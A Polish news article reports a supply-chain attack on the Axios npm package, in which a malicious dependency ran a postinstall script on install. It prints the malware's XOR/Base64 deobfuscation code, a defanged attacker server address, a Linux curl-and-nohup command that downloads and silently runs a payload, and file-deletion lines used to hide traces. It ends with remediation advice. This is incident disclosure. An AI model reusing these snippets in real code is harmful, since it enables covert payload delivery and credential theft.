Axios padł ofiarą ataku na łańcuch dostaw

Axios padł ofiarą ataku na łańcuch dostaw

Niedawno branża mierzyła się z incydentem dotyczącym pakietu Litellm w PyPI, a w nocy z 30 na 31 marca hakerzy skompromitowali Axios — jeden z najczęściej używanych klientów HTTP w ekosystemie JavaScript, pobierany ponad 100 milionów razy tygodniowo i wykorzystywany w wielu projektach.

Badacze ustalili, że napastnicy opublikowali zainfekowane wersje Axios bezpośrednio w npm, omijając oficjalne repozytorium projektu na GitHubie.

Jak przebiegał atak

Atak odbył się poza standardowym procesem publikacji. Zazwyczaj Axios publikuje tagi wydań na GitHubie równolegle z publikacją w npm. W tym przypadku zainfekowane wersje [email protected] oraz [email protected] nie pojawiły się w oficjalnych tagach projektu (ostatnim oznaczonym wydaniem było v1.14.0).

Zespół Axios początkowo nie był w stanie odzyskać kontroli nad projektem, ponieważ napastnik posiadał wyższe uprawnienia dostępu. Przyczyną był wyciek długoterminowego tokena npm, używanego równolegle z zaufanymi metodami publikacji.

Chronologia zdarzeń:

  1. 18 godzin przed atakiem ktoś, używając adresu [email protected], publikuje pakiet [email protected] — kopię legalnej biblioteki crypto-js
  2. 30 marca 2026 o 23:59 UTC pojawia się złośliwa wersja [email protected], podpisana jako jasonsaayman
  3. w ciągu kolejnych 39 minut opublikowano [email protected] oraz [email protected], do których dodano tę złośliwą zależność

Każdy projekt korzystający z nielockowanych wersji (np. ^1.14.0 lub ^0.30.0) automatycznie pobierał zainfekowany pakiet przy kolejnym npm install.

Oto schemat ogólnego działania ataku:

https://socket.dev/blog/axios-npm-package-compromised
https://socket.dev/blog/axios-npm-package-compromised

Co zawierał plain-crypto-js?

Zgodnie z analizą badaczy, złośliwy kod wykorzystywał hook postinstall — oznacza to, że podczas instalacji pakietu npm automatycznie i bez widocznych oznak uruchamiał plik setup.js.

Aby utrudnić wykrycie, zastosowano dwupoziomowy mechanizm ukrywania danych: najpierw odwracano ciąg znaków, zamieniano znaki _ na =, następnie dekodowano Base64, a na końcu wykonywano operację XOR z użyciem klucza OrDeR_7077 oraz stałej 333.

const _trans_1 = function(x, r) {
  const E = r.split("").map(Number);
  return x.split("").map((x, r) => {
    const S = x.charCodeAt(0), a = E[7 * r * r % 10];
    return String.fromCharCode(S ^ a ^ 333);
  }).join("");
};
const _trans_2 = function(x, r) {
  let E = x.split("").reverse().join("").replaceAll("_", "=");
  let S = Buffer.from(E, "base64").toString("utf8");
  return _trans_1(S, r);
};
const ord = "OrDeR_7077";

Skrypt sprawdzał system operacyjny (os.platform()) i pobierał odpowiedni payload z serwera kontrolowanego przez napastników: http://sfrclak[.]com:8000/. Ruch sieciowy był maskowany jako zapytania do packages[.]npm[.]org, aby ominąć systemy monitoringu.

Na macOS skrypt AppleScript pobierał plik binarny do katalogu /Library/Caches/com.apple.act.mond, a następnie uruchamiał go w tle. Trojan zbierał informacje o systemie, procesach i katalogach, wysyłając je co 60 sekund.

W systemie Windows malware wyszukiwał powershell, kopiował go i zapisywał jako %PROGRAMDATA%\wt.exe. Następnie przy użyciu VBScript pobierany był skrypt .ps1 do katalogu %TEMP%, który był uruchamiany z parametrem -ep bypass.

W systemach Linux pobierany był skrypt Python uruchamiany w tle:

curl -o /tmp/ld.py -d packages[.]npm[.]org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &

Po instalacji malware usuwało ślady swojej obecności, aby katalog node_modules wyglądał na nienaruszony:

fs.unlink(__filename, (x => {}));
fs.unlink("package.json", (x => {}));
fs.rename("package.md", "package.json", (x => {}));

W efekcie pakiet wyglądał jak standardowy, bezpieczny crypto-js, co utrudniało wykrycie zagrożenia.

Co należy zrobić?

Jeśli korzystasz z Axios, warto sprawdzić swoje projekty.

Należy zweryfikować zależności i pliki lock pod kątem obecności:

Ponieważ złośliwy kod zbierał dane systemowe, napastnicy mogli uzyskać dostęp do kluczy SSH, plików konfiguracyjnych z zapisanymi hasłami, tokenów chmurowych oraz innych wrażliwych danych.

Samo usunięcie pakietu nie jest wystarczające. Jeśli skrypt został uruchomiony, wszystkie lokalne klucze, certyfikaty i dane dostępowe należy uznać za skompromitowane, a następnie unieważnić i wygenerować ponownie.

Avatar
Sie 1, 2025

Anthropic wyprzedza OpenAI wśród firm – modele Claude dominują w zastosowaniach biznesowych

Modele sztucznej inteligencji Anthropic stały się najczęściej używanymi w przedsiębiorstwach, wyprzedzając konkurencję z OpenAI. Według raportu Menlo Ventures, Anthropic osiągnął 32% udziału w rynku dużych modeli językowych dla firm, podczas gdy OpenAI zajmuje drugie miejsce z wynikiem 25%.
0
Kwi 18, 2025

OpenAI uruchamia Flex – tańszy tryb API w zamian za wolniejsze działanie

OpenAI zaprezentowało nową opcję korzystania z modeli sztucznej inteligencji, która pozwala obniżyć koszty obsługi zadań asynchronicznych i testowych. Tryb Flex, dostępny w wersji beta, zapewnia niższe opłaty za przetwarzanie, oferując jednak wolniejszy czas odpowiedzi oraz ryzyko czasowej niedostępności zasobów. Rozwiązanie jest skierowane do projektów, które nie wymagają natychmiastowych rezultatów, np. podczas ewaluacji modeli czy wzbogacania zbiorów danych.
0
Gru 5, 2023

Polska wersja ChatGPT pojawi się w przyszłym roku

W pierwsze połowie przyszłego roku polscy naukowcy zaprezentują nowe rozwiązanie, związane ze sztuczną inteligencją.
0

Ta strona używa plików cookie, aby zapewnić Ci lepsze wrażenia podczas przeglądania.

Dowiedz się więcej o tym, jak używamy plików cookie i jak zmienić preferencje dotyczące plików cookie w naszej Polityka plików cookie.

Zmień ustawienia
Zapisz Akceptuj wszystkie cookies